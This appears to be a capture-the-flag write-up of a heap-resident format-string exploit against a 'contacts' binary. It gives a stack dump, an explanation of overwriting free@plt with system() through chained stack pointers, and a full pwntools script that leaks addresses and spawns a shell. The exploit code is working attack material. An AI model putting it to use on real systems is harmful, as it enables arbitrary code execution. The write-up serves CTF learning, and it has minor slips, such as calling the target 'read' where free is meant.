I attacked this with just the format string because I thought it would add a bit of a fun challenge.
The vuln prints a user controlled string but the string is in the heap so we can't use the usual put-the-address-you-want-to-write-to-at-the-start trick
Hmm fun times ensure ;)
Here is a gdb-peda dump of the stack just before calling the format string
0000| 0xffa60800 --> 0x9b9a068 ("payload")
0004| 0xffa60804 --> 0x9b9a058 ("1234") <- font="" nbsp="" phone="">->
0008| 0xffa60808 --> 0xf7638dab
0012| 0xffa6080c --> 0xf7790000 --> 0x1a8da8
0016| 0xffa60810 --> 0x0
0020| 0xffa60814 --> 0x0
0024| 0xffa60818 --> 0xffa60848 --> 0xffa60878 --> 0x0
This is the interesting one
0024| 0xffa60818 --> 0xffa60848 --> 0xffa60878 --> 0x0
at offset 6 (i.e %6$x) we get a pointer 0xffa60848 to a pointer 0xffa60878 that points to somewhere that's also reachable on the stack.
This is good news.
I can use the first offset/address/thing to change the least significant byte of the second offset/address/thing.
Using that I can change the second offset to the following values:
0xffa60878
0xffa60879
0xffa6087a
0xffa6087b
and each time I do that I can use that offset (18) to write a full word (one byte at a time) of whatever I like to a spot that is also on the stack (0xffa60878: offset 30)
I wrote the address of free@plt (0x0804b014) to offset 30, then using the same ninja-wiggle-byte trick I update the least significant byte of offset 30 which now points to free@plt to get the following values
0x0804b014
0x0804b015
0x0804b016
0x0804b017
and each time I do that I can use that offset (30) to write a full word (one byte at a time) of whatever I like to the plt entry of 'read'
I choose system() (which I can easily leak from the stack)
Create new contact with name and description "/bin/sh", "/bin/sh"
and then remove it, which will call free("/bin/sh") which will actually call system("/bin/sh")
boOM!shell Popped
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import sys from struct import pack, unpack from functools import partial with open('payload', 'w') as f: f.write('') def send(conn, line): conn.sendline(line) with open('payload', 'a') as f: line += '\x0a' f.write(line) conn = process("./contacts_54f3188f64e548565bc1b87d7aa07427") current_val = 0 def set_cur_val(a): global current_val gets_to_zero = 256 - current_val # add this to get to 0x00 gets_to_destination = gets_to_zero + a # add this to get to where you want to be inc = gets_to_destination%256 # adding > 256 is the same as adding 0 so mod 256 current_val = a if inc == 0: # %0c is the same as %1c so if it's 0 difference then just print nothing return "" return "%1$0" + str(inc) + "c" def decompose_data(data): hexStr = hex(data)[2:][::-1] # little endian byteList = [ hexStr[i:i+2][::-1] for i in xrange(0, len(hexStr), 2) ] bytes = [int(x,16) for x in byteList] return bytes def off_write(offset, byte): """ Use this stack addres offset, to write a byte """ global current_val payload = set_cur_val(byte) payload += "%{0}$hhn".format(offset) return payload def write_and_prep_next(offsets, byte, next_lsb): """ |can't change| |change LSB| |full control| |____________|__|__________|__|____________| | offset1 |->| offset2 |->| offset3 | ____________________________________________ use offset1 to change the LSB of offset2 use offset2 to change all the bytes of offset3 use offset3 to write wherever """ global current_val current_val = 0 # write the current value payload = off_write(offsets[1], byte) # prepare our wiggle ninja pointer for the next format string payload +=off_write(offsets[0], next_lsb) return payload def payload_chain(offsets, address, data): lsbAddr3 = decompose_data(address)[0] bytes = decompose_data(data) payload = partial(write_and_prep_next, offsets=offsets) next_lsbs = [lsbAddr3 + x for x in [1,2,3,0]] arr = [payload(byte=b, next_lsb=l) for b,l in zip(bytes,next_lsbs)] return arr def createContact(name, description): send(conn, "1") send(conn, name) # name send(conn, "1337") # number send(conn, str(len(description))) # len of description send(conn, description) def remove_contact(name): send(conn, "2") send(name) createContact("Leak", "Libc:%2$p:::Stack:%18$p;;;") send(conn, "4") response = conn.recvuntil(';;;') libc_leak = int(response[response.index('Libc:')+5 : response.index(':::')],16) stack_leak= int(response[response.index('Stack:')+6: response.index(';;;')],16) system = libc_leak - 20083 -60248 free_plt = 0x0804b014 def setup_chain(offsets, address, data): for load in payload_chain(data=data, offsets=offsets, address=address): createContact("Hack", load) offset3_addr = stack_leak # 6 fiddles 18 to write free_plt into 30 setup_chain([6,18], address=offset3_addr, data=free_plt) # create the contacts # 18 fiddles 30 to write system into free_plt setup_chain([18,30], address=free_plt, data=system) # create the contacts createContact("/bin/sh", "/bin/sh") send(conn, "4") # execute format string send(conn, "2") # edit send(conn, "/bin/sh") # edit AAAA conn.recvuntil(">>> Name to remove?") conn.interactive()